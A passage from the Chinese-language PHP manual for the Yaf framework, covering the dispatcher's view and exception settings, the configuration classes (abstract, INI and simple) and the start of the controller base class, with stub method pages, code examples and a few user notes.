return $this->_smarty->fetch($name);
}

public function display($name, $value = NULL) {
echo $this->_smarty->fetch($name);
}

}
?>

Example #2 Yaf_Dispatcher::setView() 示例

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract {

/**
* there are some config for smarty in the config:
*
* smarty.left_delimiter = "{{"
* smarty.right_delimiter = "}}"
* smarty.template_dir = APPLICATION_PATH "/views/scripts/"
* smarty.compile_dir = APPLICATION_PATH "/views/templates_c/"
* smarty.cache_dir = APPLICATION_PATH "/views/templates_d/"
*
*/
public function _initConfig() {
$config = Yaf_Application::app()->getConfig();
Yaf_Registry::set("config", $config);
}

public function _initLocalName() {
/** we put class Smarty_Adapter under the local library directory */
Yaf_Loader::getInstance()->registerLocalNamespace('Smarty');
}

public function _initSmarty(Yaf_Dispatcher $dispatcher) {
$smarty = new Smarty_Adapter(null, Yaf_Registry::get("config")->get("smarty"));
$dispatcher->setView($smarty);
/* now the Smarty view engine become the default view engine of Yaf */
}
}
?>

参见

  • Yaf_View_Interface
  • Yaf_View_Simple

User Contributed Notes

There are no user contributed notes for this page.


开启/关闭异常抛出

  • ? Yaf_Dispatcher::setView
  • Yaf_Config_Abstract ?
  • PHP Manual
  • Yaf_Dispatcher
  • 开启/关闭异常抛出

Yaf_Dispatcher::throwException

(Yaf >=1.0.0)

Yaf_Dispatcher::throwException — 开启/关闭异常抛出

说明

public Yaf_Dispatcher::throwException(bool $flag = ?): Yaf_Dispatcher

当意外的错误发生的时候，开启/关闭异常抛出。当开启的时候，Yaf 将会抛出异常而不是触发可捕捉的错误。

你也可以使用 application.dispatcher.throwException 来达到相同的目的。

参数

flag

bool

返回值

示例

Example #1 Yaf_Dispatcher::throwexception() 示例

<?php

$config = array(
'application' => array(
'directory' => dirname(__FILE__),
),
);
$app = new Yaf_Application($config);

$app->getDispatcher()->throwException(true);

try {
$app->run();
} catch (Yaf_Exception $e) {
var_dump($e->getMessage());
}
?>

以上示例的输出类似于：

string(59) "Could not find controller script /tmp/controllers/Index.php"

Example #2 Yaf_Dispatcher::throwexception() 示例

<?php

$config = array(
'application' => array(
'directory' => dirname(__FILE__),
),
);
$app = new Yaf_Application($config);

$app->getDispatcher()->throwException(false);

$app->run();
?>

以上示例的输出类似于：

PHP Catchable fatal error:  Yaf_Application::run(): Could not find controller script /tmp/controllers/Index.php in /tmp/1.php on line 12

参见

  • Yaf_Dispatcher::catchException() - 开启/关闭自动异常捕获
  • Yaf_Exception

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Config_Abstract 类

(Yaf >=1.0.0)

简介

类摘要

abstract class Yaf_Config_Abstract {
/* 属性 */
protected $_config;
protected $_readonly;
/* 方法 */
abstract public get(string $name, mixed $value): mixed
abstract public readonly(): bool
abstract public set(): Yaf_Config_Abstract
abstract public toArray(): array
}

属性

_config

_readonly

Table of Contents

  • Yaf_Config_Abstract::get — Getter
  • Yaf_Config_Abstract::readonly — 寻找只读配置
  • Yaf_Config_Abstract::set — Setter
  • Yaf_Config_Abstract::toArray — 转换为数组

User Contributed Notes

There are no user contributed notes for this page.


Getter

  • ? Yaf_Config_Abstract
  • Yaf_Config_Abstract::readonly ?
  • PHP Manual
  • Yaf_Config_Abstract
  • Getter

Yaf_Config_Abstract::get

(Yaf >=1.0.0)

Yaf_Config_Abstract::get — Getter

说明

abstract public Yaf_Config_Abstract::get(string $name, mixed $value): mixed

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


寻找只读配置

  • ? Yaf_Config_Abstract::get
  • Yaf_Config_Abstract::set ?
  • PHP Manual
  • Yaf_Config_Abstract
  • 寻找只读配置

Yaf_Config_Abstract::readonly

(Yaf >=1.0.0)

Yaf_Config_Abstract::readonly — 寻找只读配置

说明

abstract public Yaf_Config_Abstract::readonly(): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Setter

  • ? Yaf_Config_Abstract::readonly
  • Yaf_Config_Abstract::toArray ?
  • PHP Manual
  • Yaf_Config_Abstract
  • Setter

Yaf_Config_Abstract::set

(Yaf >=1.0.0)

Yaf_Config_Abstract::set — Setter

说明

abstract public Yaf_Config_Abstract::set(): Yaf_Config_Abstract

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


转换为数组

  • ? Yaf_Config_Abstract::set
  • Yaf_Config_Ini ?
  • PHP Manual
  • Yaf_Config_Abstract
  • 转换为数组

Yaf_Config_Abstract::toArray

(Yaf >=1.0.0)

Yaf_Config_Abstract::toArray — 转换为数组

说明

abstract public Yaf_Config_Abstract::toArray(): array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Config_Ini 类

(Yaf >=1.0.0)

简介

Yaf_Config_Ini 允许开发者通过嵌套的对象属性语法在应用程序中用熟悉的INI格式存储和读取配置数据。 INI格式在提供拥有配置数据键的等级结构和配置数据节之间的继承能力方面具有专长。 配置数据等级结构通过用点或者句号（"."）分离键值。 一个节可以扩展或者通过在节的名称之后带一个冒号（":"）和被继承的配置数据的节的名称来从另一个节继承。

Note:

Yaf_Config_Ini 利用 PHP 的函数 parse_ini_file() 来解析配置文件的。 请仔细查看这个函数的文档，注意它的一些特殊用途。以及它传递给 Yaf_Config_Ini 的一些比如 "true"、"false"、"yes"、"no"和"null"的特殊值的处理方式。

类摘要

class Yaf_Config_Ini extends Yaf_Config_Abstract implements Iterator, ArrayAccess, Countable {
/* 属性 */
/* 方法 */
public __construct(string $config_file, string $section = ?)
public count(): void
public current(): void
public __get(string $name = ?): void
public __isset(string $name): void
public key(): void
public next(): void
public offsetExists(string $name): void
public offsetGet(string $name): void
public offsetSet(string $name, string $value): void
public offsetUnset(string $name): void
public readonly(): void
public rewind(): void
public __set(string $name, mixed $value): void
public toArray(): void
public valid(): void
/* 继承的方法 */
abstract public Yaf_Config_Abstract::get(string $name, mixed $value): mixed
abstract public Yaf_Config_Abstract::readonly(): bool
abstract public Yaf_Config_Abstract::set(): Yaf_Config_Abstract
abstract public Yaf_Config_Abstract::toArray(): array
}

属性

_config

_readonly

示例

Example #1 Yaf_Config_Ini() 示例

这个例子说明了使用 Yaf_Config_Ini 从一个 INI 配置文件中获取配置数据的基本用法。 这个例子中既有生产环境的配置方法也有演示环境的配置方法。 因为演示环境的配置跟生产环境的非常类似，所以演示环境的配置继承了生产环境的配置。 在复杂的情况下，决定是任意的，也可以写成相反的。在更复杂的情况下，生产环境继承自演示环境不是不可能的。 假设，以下配置数据都包含在 /path/to/config.ini 中：

; Production site configuration data
[production]
webhost                  = www.example.com
database.adapter         = pdo_mysql
database.params.host     = db.example.com
database.params.username = dbuser
database.params.password = secret
database.params.dbname   = dbname

; Staging site configuration data inherits from production and
; overrides values as necessary
[staging : production]
database.params.host     = dev.example.com
database.params.username = devuser
database.params.password = devsecret
<?php
$config = new Yaf_Config_Ini('/path/to/config.ini', 'staging');

var_dump($config->database->params->host);
var_dump($config->database->params->dbname);
var_dump($config->get("database.params.username"));
?>

以上示例的输出类似于：

string(15) "dev.example.com"
string(6) "dbname"
string(7) "devuser

Table of Contents

  • Yaf_Config_Ini::__construct — Yaf_Config_Ini 构造方法
  • Yaf_Config_Ini::count — Yaf_Config.ini 中所有元素的数量
  • Yaf_Config_Ini::current — 检索当前值
  • Yaf_Config_Ini::__get — 检索元素
  • Yaf_Config_Ini::__isset — 检查节点是否存在
  • Yaf_Config_Ini::key — 返回当前元素的键
  • Yaf_Config_Ini::next — 向前移动到下一个元素
  • Yaf_Config_Ini::offsetExists — 检查一个偏移位置是否存在
  • Yaf_Config_Ini::offsetGet — 获取一个偏移位置的值
  • Yaf_Config_Ini::offsetSet — 设置一个偏移位置的值
  • Yaf_Config_Ini::offsetUnset — 复位一个偏移位置的值
  • Yaf_Config_Ini::readonly — 检查配置是否只读
  • Yaf_Config_Ini::rewind — 检查当前位置是否有效
  • Yaf_Config_Ini::__set — The __set purpose
  • Yaf_Config_Ini::toArray — 配置作为数组返回
  • Yaf_Config_Ini::valid — 检查迭代器是否有效

User Contributed Notes

zzxiaoman at gmail dot com 04-Mar-2015 03:17
when i use Yaf_Config_ini with these lines:

type.18.text=abc
type.8.text=ddf
type.0.text=fjdsklf

You can through this way

$$configArr = $config->toArray();
var_dump($configArr['type'][18]['text']);

result:
abc
Mark 03-Jan-2015 08:59
/conf/db.ini

[product]
database.params.host           = localhost
database.params.port           = 5432
database.params.dbname    = postgres
database.params.username = 'postgres'
database.params.password  = 123456

<?php
       $config  = new Yaf_Config_ini('../conf/db.ini','product');
        $config = $config->toArray();
        $host       =   $config['database']['params']['host'];
        $port       =   $config['database']['params']['port'];
        $database   =   $config['database']['params']['dbname'];
        $username        =   $config['database']['params'['username'];
        $password   =   $config['database']['params']['password'];
        $pg_conn = pg_connect("host='$host' port='$port' dbname='$database'  user='$username' password='$password' ");
?>
lee dot howarth dot 90 at gmail dot com 02-May-2014 09:59
@flowithwind

var_dump($config -> toArray()[ 'type' ][ 18 ][ 'text' ]);

string 'abc' (length=3)


Yaf_Config_Ini 构造方法

  • ? Yaf_Config_Ini
  • Yaf_Config_Ini::count ?
  • PHP Manual
  • Yaf_Config_Ini
  • Yaf_Config_Ini 构造方法

Yaf_Config_Ini::__construct

(Yaf >=1.0.0)

Yaf_Config_Ini::__construct — Yaf_Config_Ini 构造方法

说明

public Yaf_Config_Ini::__construct(string $config_file, string $section = ?)

Yaf_Config_Ini 构造方法

参数

config_file

INI 配置文件的路径

section

INI 文件中想要解析的 section

返回值

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Config.ini 中所有元素的数量

  • ? Yaf_Config_Ini::__construct
  • Yaf_Config_Ini::current ?
  • PHP Manual
  • Yaf_Config_Ini
  • Yaf_Config.ini 中所有元素的数量

Yaf_Config_Ini::count

(Yaf >=1.0.0)

Yaf_Config_Ini::count — Yaf_Config.ini 中所有元素的数量

说明

public Yaf_Config_Ini::count(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


检索当前值

  • ? Yaf_Config_Ini::count
  • Yaf_Config_Ini::__get ?
  • PHP Manual
  • Yaf_Config_Ini
  • 检索当前值

Yaf_Config_Ini::current

(Yaf >=1.0.0)

Yaf_Config_Ini::current — 检索当前值

说明

public Yaf_Config_Ini::current(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


检索元素

  • ? Yaf_Config_Ini::current
  • Yaf_Config_Ini::__isset ?
  • PHP Manual
  • Yaf_Config_Ini
  • 检索元素

Yaf_Config_Ini::__get

(Yaf >=1.0.0)

Yaf_Config_Ini::__get — 检索元素

说明

public Yaf_Config_Ini::__get(string $name = ?): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


检查节点是否存在

  • ? Yaf_Config_Ini::__get
  • Yaf_Config_Ini::key ?
  • PHP Manual
  • Yaf_Config_Ini
  • 检查节点是否存在

Yaf_Config_Ini::__isset

(Yaf >=1.0.0)

Yaf_Config_Ini::__isset — 检查节点是否存在

说明

public Yaf_Config_Ini::__isset(string $name): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


返回当前元素的键

  • ? Yaf_Config_Ini::__isset
  • Yaf_Config_Ini::next ?
  • PHP Manual
  • Yaf_Config_Ini
  • 返回当前元素的键

Yaf_Config_Ini::key

(Yaf >=1.0.0)

Yaf_Config_Ini::key — 返回当前元素的键

说明

public Yaf_Config_Ini::key(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


向前移动到下一个元素

  • ? Yaf_Config_Ini::key
  • Yaf_Config_Ini::offsetExists ?
  • PHP Manual
  • Yaf_Config_Ini
  • 向前移动到下一个元素

Yaf_Config_Ini::next

(Yaf >=1.0.0)

Yaf_Config_Ini::next — 向前移动到下一个元素

说明

public Yaf_Config_Ini::next(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


检查一个偏移位置是否存在

  • ? Yaf_Config_Ini::next
  • Yaf_Config_Ini::offsetGet ?
  • PHP Manual
  • Yaf_Config_Ini
  • 检查一个偏移位置是否存在

Yaf_Config_Ini::offsetExists

(Yaf >=1.0.0)

Yaf_Config_Ini::offsetExists — 检查一个偏移位置是否存在

说明

public Yaf_Config_Ini::offsetExists(string $name): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


获取一个偏移位置的值

  • ? Yaf_Config_Ini::offsetExists
  • Yaf_Config_Ini::offsetSet ?
  • PHP Manual
  • Yaf_Config_Ini
  • 获取一个偏移位置的值

Yaf_Config_Ini::offsetGet

(Yaf >=1.0.0)

Yaf_Config_Ini::offsetGet — 获取一个偏移位置的值

说明

public Yaf_Config_Ini::offsetGet(string $name): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


设置一个偏移位置的值

  • ? Yaf_Config_Ini::offsetGet
  • Yaf_Config_Ini::offsetUnset ?
  • PHP Manual
  • Yaf_Config_Ini
  • 设置一个偏移位置的值

Yaf_Config_Ini::offsetSet

(Yaf >=1.0.0)

Yaf_Config_Ini::offsetSet — 设置一个偏移位置的值

说明

public Yaf_Config_Ini::offsetSet(string $name, string $value): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

value

返回值

User Contributed Notes

There are no user contributed notes for this page.


复位一个偏移位置的值

  • ? Yaf_Config_Ini::offsetSet
  • Yaf_Config_Ini::readonly ?
  • PHP Manual
  • Yaf_Config_Ini
  • 复位一个偏移位置的值

Yaf_Config_Ini::offsetUnset

(Yaf >=1.0.0)

Yaf_Config_Ini::offsetUnset — 复位一个偏移位置的值

说明

public Yaf_Config_Ini::offsetUnset(string $name): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


检查配置是否只读

  • ? Yaf_Config_Ini::offsetUnset
  • Yaf_Config_Ini::rewind ?
  • PHP Manual
  • Yaf_Config_Ini
  • 检查配置是否只读

Yaf_Config_Ini::readonly

(Yaf >=1.0.0)

Yaf_Config_Ini::readonly — 检查配置是否只读

说明

public Yaf_Config_Ini::readonly(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


检查当前位置是否有效

  • ? Yaf_Config_Ini::readonly
  • Yaf_Config_Ini::__set ?
  • PHP Manual
  • Yaf_Config_Ini
  • 检查当前位置是否有效

Yaf_Config_Ini::rewind

(Yaf >=1.0.0)

Yaf_Config_Ini::rewind — 检查当前位置是否有效

说明

public Yaf_Config_Ini::rewind(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The __set purpose

  • ? Yaf_Config_Ini::rewind
  • Yaf_Config_Ini::toArray ?
  • PHP Manual
  • Yaf_Config_Ini
  • The __set purpose

Yaf_Config_Ini::__set

(Yaf >=1.0.0)

Yaf_Config_Ini::__set — The __set purpose

说明

public Yaf_Config_Ini::__set(string $name, mixed $value): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

value

返回值

User Contributed Notes

There are no user contributed notes for this page.


配置作为数组返回

  • ? Yaf_Config_Ini::__set
  • Yaf_Config_Ini::valid ?
  • PHP Manual
  • Yaf_Config_Ini
  • 配置作为数组返回

Yaf_Config_Ini::toArray

(Yaf >=1.0.0)

Yaf_Config_Ini::toArray — 配置作为数组返回

说明

public Yaf_Config_Ini::toArray(): void

从 Yaf_Config_Ini 中返回 PHP 数组

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


检查迭代器是否有效

  • ? Yaf_Config_Ini::toArray
  • Yaf_Config_Simple ?
  • PHP Manual
  • Yaf_Config_Ini
  • 检查迭代器是否有效

Yaf_Config_Ini::valid

(Yaf >=1.0.0)

Yaf_Config_Ini::valid — 检查迭代器是否有效

说明

public Yaf_Config_Ini::valid(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Config_Simple 类

(Yaf >=1.0.0)

简介

Yaf_Config_Simple 是 Yad_Config_ini 的简洁版本，只允许传入数组进行初始化，并提供了设置 readonly 的参数。

类摘要

class Yaf_Config_Simple extends Yaf_Config_Abstract implements Iterator, ArrayAccess, Countable {
/* 属性 */
protected $_readonly;
/* 方法 */
public __construct(array $configs, bool $readonly = false)
public count(): void
public current(): void
public __get(string $name = ?): void
public __isset(string $name): void
public key(): void
public next(): void
public offsetExists(string $name): void
public offsetGet(string $name): void
public offsetSet(string $name, string $value): void
public offsetUnset(string $name): void
public readonly(): void
public rewind(): void
public __set(string $name, string $value): void
public toArray(): array
public valid(): void
/* 继承的方法 */
abstract public Yaf_Config_Abstract::get(string $name, mixed $value): mixed
abstract public Yaf_Config_Abstract::readonly(): bool
abstract public Yaf_Config_Abstract::set(): Yaf_Config_Abstract
abstract public Yaf_Config_Abstract::toArray(): array
}

属性

_config

_readonly

Table of Contents

  • Yaf_Config_Simple::__construct — 构造函数
  • Yaf_Config_Simple::count — 返回配置的节数量
  • Yaf_Config_Simple::current — 返回当前节点
  • Yaf_Config_Simple::__get — 读取节点配置
  • Yaf_Config_Simple::__isset — 检查节点是否存在
  • Yaf_Config_Simple::key — 返回当前元素的键
  • Yaf_Config_Simple::next — 向前移动到下一个元素
  • Yaf_Config_Simple::offsetExists — 检查一个偏移位置是否存在
  • Yaf_Config_Simple::offsetGet — 获取一个偏移位置的值
  • Yaf_Config_Simple::offsetSet — 设置一个偏移位置的值
  • Yaf_Config_Simple::offsetUnset — 复位一个偏移位置的值
  • Yaf_Config_Simple::readonly — 检查配置是否只读
  • Yaf_Config_Simple::rewind — 检查当前位置是否有效
  • Yaf_Config_Simple::__set — 设置节点配置
  • Yaf_Config_Simple::toArray — 返回 PHP 数组
  • Yaf_Config_Simple::valid — 检查迭代器是否有效

User Contributed Notes

msn_and_i at hotmail dot com 15-Apr-2015 06:47
The Yaf_Config_Simple construct method parameters may be wrong documenting,  actually first parameter shoud be array and second is string indicating if readonly.


构造函数

  • ? Yaf_Config_Simple
  • Yaf_Config_Simple::count ?
  • PHP Manual
  • Yaf_Config_Simple
  • 构造函数

Yaf_Config_Simple::__construct

(Yaf >=1.0.0)

Yaf_Config_Simple::__construct — 构造函数

说明

public Yaf_Config_Simple::__construct(array $configs, bool $readonly = false)

Warning

本函数还未编写文档，仅有参数列表。

参数

configs

readonly

返回值

User Contributed Notes

There are no user contributed notes for this page.


返回配置的节数量

  • ? Yaf_Config_Simple::__construct
  • Yaf_Config_Simple::current ?
  • PHP Manual
  • Yaf_Config_Simple
  • 返回配置的节数量

Yaf_Config_Simple::count

(Yaf >=1.0.0)

Yaf_Config_Simple::count — 返回配置的节数量

说明

public Yaf_Config_Simple::count(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


返回当前节点

  • ? Yaf_Config_Simple::count
  • Yaf_Config_Simple::__get ?
  • PHP Manual
  • Yaf_Config_Simple
  • 返回当前节点

Yaf_Config_Simple::current

(Yaf >=1.0.0)

Yaf_Config_Simple::current — 返回当前节点

说明

public Yaf_Config_Simple::current(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


读取节点配置

  • ? Yaf_Config_Simple::current
  • Yaf_Config_Simple::__isset ?
  • PHP Manual
  • Yaf_Config_Simple
  • 读取节点配置

Yaf_Config_Simple::__get

(Yaf >=1.0.0)

Yaf_Config_Simple::__get — 读取节点配置

说明

public Yaf_Config_Simple::__get(string $name = ?): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


检查节点是否存在

  • ? Yaf_Config_Simple::__get
  • Yaf_Config_Simple::key ?
  • PHP Manual
  • Yaf_Config_Simple
  • 检查节点是否存在

Yaf_Config_Simple::__isset

(Yaf >=1.0.0)

Yaf_Config_Simple::__isset — 检查节点是否存在

说明

public Yaf_Config_Simple::__isset(string $name): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


返回当前元素的键

  • ? Yaf_Config_Simple::__isset
  • Yaf_Config_Simple::next ?
  • PHP Manual
  • Yaf_Config_Simple
  • 返回当前元素的键

Yaf_Config_Simple::key

(Yaf >=1.0.0)

Yaf_Config_Simple::key — 返回当前元素的键

说明

public Yaf_Config_Simple::key(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


向前移动到下一个元素

  • ? Yaf_Config_Simple::key
  • Yaf_Config_Simple::offsetExists ?
  • PHP Manual
  • Yaf_Config_Simple
  • 向前移动到下一个元素

Yaf_Config_Simple::next

(Yaf >=1.0.0)

Yaf_Config_Simple::next — 向前移动到下一个元素

说明

public Yaf_Config_Simple::next(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


检查一个偏移位置是否存在

  • ? Yaf_Config_Simple::next
  • Yaf_Config_Simple::offsetGet ?
  • PHP Manual
  • Yaf_Config_Simple
  • 检查一个偏移位置是否存在

Yaf_Config_Simple::offsetExists

(Yaf >=1.0.0)

Yaf_Config_Simple::offsetExists — 检查一个偏移位置是否存在

说明

public Yaf_Config_Simple::offsetExists(string $name): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


获取一个偏移位置的值

  • ? Yaf_Config_Simple::offsetExists
  • Yaf_Config_Simple::offsetSet ?
  • PHP Manual
  • Yaf_Config_Simple
  • 获取一个偏移位置的值

Yaf_Config_Simple::offsetGet

(Yaf >=1.0.0)

Yaf_Config_Simple::offsetGet — 获取一个偏移位置的值

说明

public Yaf_Config_Simple::offsetGet(string $name): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


设置一个偏移位置的值

  • ? Yaf_Config_Simple::offsetGet
  • Yaf_Config_Simple::offsetUnset ?
  • PHP Manual
  • Yaf_Config_Simple
  • 设置一个偏移位置的值

Yaf_Config_Simple::offsetSet

(Yaf >=1.0.0)

Yaf_Config_Simple::offsetSet — 设置一个偏移位置的值

说明

public Yaf_Config_Simple::offsetSet(string $name, string $value): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

value

返回值

User Contributed Notes

There are no user contributed notes for this page.


复位一个偏移位置的值

  • ? Yaf_Config_Simple::offsetSet
  • Yaf_Config_Simple::readonly ?
  • PHP Manual
  • Yaf_Config_Simple
  • 复位一个偏移位置的值

Yaf_Config_Simple::offsetUnset

(Yaf >=1.0.0)

Yaf_Config_Simple::offsetUnset — 复位一个偏移位置的值

说明

public Yaf_Config_Simple::offsetUnset(string $name): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


检查配置是否只读

  • ? Yaf_Config_Simple::offsetUnset
  • Yaf_Config_Simple::rewind ?
  • PHP Manual
  • Yaf_Config_Simple
  • 检查配置是否只读

Yaf_Config_Simple::readonly

(Yaf >=1.0.0)

Yaf_Config_Simple::readonly — 检查配置是否只读

说明

public Yaf_Config_Simple::readonly(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


检查当前位置是否有效

  • ? Yaf_Config_Simple::readonly
  • Yaf_Config_Simple::__set ?
  • PHP Manual
  • Yaf_Config_Simple
  • 检查当前位置是否有效

Yaf_Config_Simple::rewind

(Yaf >=1.0.0)

Yaf_Config_Simple::rewind — 检查当前位置是否有效

说明

public Yaf_Config_Simple::rewind(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


设置节点配置

  • ? Yaf_Config_Simple::rewind
  • Yaf_Config_Simple::toArray ?
  • PHP Manual
  • Yaf_Config_Simple
  • 设置节点配置

Yaf_Config_Simple::__set

(Yaf >=1.0.0)

Yaf_Config_Simple::__set — 设置节点配置

说明

public Yaf_Config_Simple::__set(string $name, string $value): void

Warning

本函数还未编写文档，仅有参数列表。

参数

name

value

返回值

User Contributed Notes

There are no user contributed notes for this page.


返回 PHP 数组

  • ? Yaf_Config_Simple::__set
  • Yaf_Config_Simple::valid ?
  • PHP Manual
  • Yaf_Config_Simple
  • 返回 PHP 数组

Yaf_Config_Simple::toArray

(Yaf >=1.0.0)

Yaf_Config_Simple::toArray — 返回 PHP 数组

说明

public Yaf_Config_Simple::toArray(): array

从 Yaf_Config_Simple 中返回 PHP 数组

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


检查迭代器是否有效

  • ? Yaf_Config_Simple::toArray
  • Yaf_Controller_Abstract ?
  • PHP Manual
  • Yaf_Config_Simple
  • 检查迭代器是否有效

Yaf_Config_Simple::valid

(Yaf >=1.0.0)

Yaf_Config_Simple::valid — 检查迭代器是否有效

说明

public Yaf_Config_Simple::valid(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Controller_Abstract 类

(Yaf >=1.0.0)

简介

Yaf_Controller_Abstract 是 Yaf 系统的 MVC 体系的核心部分。MVC 是指 Model-View-Controller，是一个用于分离应用逻辑和表现逻辑的设计模式。

每个自定义 controller 都应当继承 Yaf_Controller_Abstract。

自定义 controller 中无法定义 __construct 方法。因此，Yaf_Controller_Abstract 提供了一个魔术方法 Yaf_Controller_Abstract::init()。

如果自定义 controller 里已经定义了 init() 方法，当实例化 controller 的时候，它将被调用。

Action 可能需要参数，当请求来到的时候，在路由中如果请求的参数有相同名称的变量（例如：Yaf_Request_Abstract::getParam()），Yaf 将把他们传递给 action 方法（参阅 Yaf_Action_Abstract::execute()）。

Note:

这些参数是直接获取的，没有过滤，使用他们之前应该仔细处理。

类摘要

abstract class Yaf_Controller_Abstract {
/* 属性 */
public $actions;
protected $_module;
protected $_name;
protected $_request;
protected $_response;
protected $_invoke_args;
protected $_view;
/* 方法 */
final private __construct()
protected display(string $tpl, array $parameters = ?): bool
public forward(string $action, array $paramters = ?): bool
public getInvokeArg(string $name): void
public getInvokeArgs(): void
public getModuleName(): string
public getName(): string
public getRequest(): Yaf_Request_Abstract
public getResponse(): Yaf_Response_Abstract
public getView(): Yaf_View_Interface
public getViewpath(): string
public init(): void
public initView(array $options = ?): void
public redirect(string $url): bool
protected render(string $tpl, array $parameters = ?): string
public setViewpath(string $view_directory): void
}

属性

actions

也可以通过使用此属性和 Yaf_Action_Abstract 在一个单独的 PHP 脚本中定义 action 方法。

Example #1 在单独的文件中定义 action

<?php
class IndexController extends Yaf_Controller_Abstract {
protected $actions = array(
/** now dummyAction is defined in a separate file */
"dummy" => "actions/Dummy_action.php",
);

/* action method may have arguments */
public function indexAction($name, $id) {
/* $name and $id are unsafe raw data */
assert($name == $this->getRequest()->getParam("name"));
assert($id == $this->_request->getParam("id"));
}
}
?>

Example #2 Dummy_action.php

<?php
class DummyAction extends Yaf_Action_Abstract {
/* an action class shall define this method as the entry point */
public function execute() {
}
}
?>

_module

模块名

_name

控制器名

_request

当前请求实例

_response

当前响应对象

_invoke_args

_view

视图引擎

Table of Contents

  • Yaf_Controller_Abstract::__construct — Yaf_Controller_Abstract 构造方法
  • Yaf_Controller_Abstract::display — The display purpose
  • Yaf_Controller_Abstract::forward — 转发到另一个动作
  • Yaf_Controller_Abstract::getInvokeArg — The getInvokeArg purpose
  • Yaf_Controller_Abstract::getInvokeArgs — The getInvokeArgs purpose
  • Yaf_Controller_Abstract::getModuleName — 获取当前控制器所属的模块名
  • Yaf_Controller_Abstract::getName — Get self name
  • Yaf_Controller_Abstract::getRequest — 检索当前请求对象
  • Yaf_Controller_Abstract::getResponse — 检索当前响应对象
  • Yaf_Controller_Abstract::getView — 获取当前的视图引擎
  • Yaf_Controller_Abstract::getViewpath — The getViewpath purpose
  • Yaf_Controller_Abstract::init — 控制器初始化
  • Yaf_Controller_Abstract::initView — The initView purpose
  • Yaf_Controller_Abstract::redirect — 重定向到 URL
  • Yaf_Controller_Abstract::render — 渲染视图模板
  • Yaf_Controller_Abstract::setViewpath — The setViewpath purpose

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Controller_Abstract 构造方法

  • ? Yaf_Controller_Abstract
  • Yaf_Controller_Abstract::display ?
  • PHP Manual
  • Yaf_Controller_Abstract
  • Yaf_Controller_Abstract 构造方法

Yaf_Controller_Abstract::__construct

(Yaf >=1.0.0)

Yaf_Controller_Abstract::__construct — Yaf_Controller_Abstract 构造方法

说明

final private Yaf_Controller_Abstract::__construct()

Yaf_Controller_Abstract::__construct() 是 final，这意味着不能重写。可以考虑查看 Yaf_Controller_Abstract::init()。

参数

此函数没有参数。

返回值

参见

  • Yaf_Controller_Abstract::init() - 控制器初始化

User Contributed Notes

There are no user contributed notes for this page.


The display purpose

  • ? Yaf_Controller_Abstract::__construct
  • Yaf_Controller_Abstract::forward ?
  • PHP Manual
  • Yaf_Controller_Abstract
  • The display purpose

Yaf_Controller_Abstract::display

